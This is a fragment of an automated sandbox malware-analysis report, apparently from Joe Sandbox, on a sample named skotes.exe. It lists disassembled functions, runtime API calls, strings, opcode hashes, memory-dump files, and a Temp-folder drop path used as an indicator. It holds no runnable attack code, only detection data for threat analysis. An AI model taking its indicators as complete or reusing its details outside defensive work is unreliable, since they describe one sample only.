Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 9056df4745b308ec6eeb05fddb7b9530e30d67ffe92b5cea7a1ab841a13563e1
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: DE01D63A700614A7CF16EE658841BAFB7AAAF56350F100015FC26AB282DB71EE1097A0

Function 00199510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00199519

Part of subcall function 0018F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00195486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0019953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00199550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00199559

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: e333f57d9d2510428a1f6d9cc7cc60f29ef95012f85493a1865398de632a6b36
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: B3F0A031600A205EFE62ABA88811F6B23D49F55711F01C41FE41BDB282CF24EA46CB81

Function 001ADFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 001ADFE8

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2152102331
Opcode ID: 19aac572ee05175fc73fa88d204db42bedc50f325e443281d038390f2cc95e57
Instruction ID: 6ae9be8890670e2af7256083d110d637400a02ee16e199ded86fce90bae88464
Opcode Fuzzy Hash: 19aac572ee05175fc73fa88d204db42bedc50f325e443281d038390f2cc95e57
Instruction Fuzzy Hash: D6219F797042096F9B30AF659D80E6B77EDEF22364B104614F928D7192E770ED008761

Function 001A1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 001A1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001A17AF

Strings

pContext, xrefs: 001A17A7

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 695d6fac574a0548d216c19c09affb980af6e5378d9b0b66ad5c2354dcc0da8b
Instruction ID: db050dbd647a8bdfbcb012e4c2bdb99a3313c2b0ba62cc4b794254e562fc838d
Opcode Fuzzy Hash: 695d6fac574a0548d216c19c09affb980af6e5378d9b0b66ad5c2354dcc0da8b
Instruction Fuzzy Hash: A211E93EA00214BBCF16FFA8C48596D77A5AF96360F154069EC1297342DB74DD41CBD0

Function 0019B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0019B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0019B961

Strings

pContext, xrefs: 0019B959

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: fb4d4e545f4984c1dc963266d6f490daa4fd42c9484a4694f51aa304dded9517
Instruction ID: f60b00ffaf157e161a045022b26da3dcf29115814ce42f316cc5f824e7014e5b
Opcode Fuzzy Hash: fb4d4e545f4984c1dc963266d6f490daa4fd42c9484a4694f51aa304dded9517
Instruction Fuzzy Hash: 75E0D83DB40204A7CB04B7A8E84AD9DBBB99FE57247044119F911A3391EB70EA05CAE0

Function 001934CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001934FC

Strings

version, xrefs: 001934E1
pScheduler, xrefs: 001934F4

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: f90cfc81d1f46828c81459b3f4f4c9822bef89966f4c62146ef675f73f9ea4c7
Instruction ID: 3ad7e9256f3fd11dbf2a9935a0fa5acc27dacf4f110b2a82a31caf1c71c93598
Opcode Fuzzy Hash: f90cfc81d1f46828c81459b3f4f4c9822bef89966f4c62146ef675f73f9ea4c7
Instruction Fuzzy Hash: 4DE08638484208B6CF26FA54D84BFCC77689B35745F04C119B820120929BB4D798CAD1

Analysis Process: kf5cl0F.exePID: 6972, Parent PID: 2516COMMON

Executed Functions

Function 00EC326A Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b38672c12512bc360858536815b47abe50266dbbce1d479b9b52128a22735ad
Instruction ID: 8c051adcfd0d6c49a3b54912c342d915ca2322aa14dd096cfeb2f1c68f74c0a8
Opcode Fuzzy Hash: 0b38672c12512bc360858536815b47abe50266dbbce1d479b9b52128a22735ad
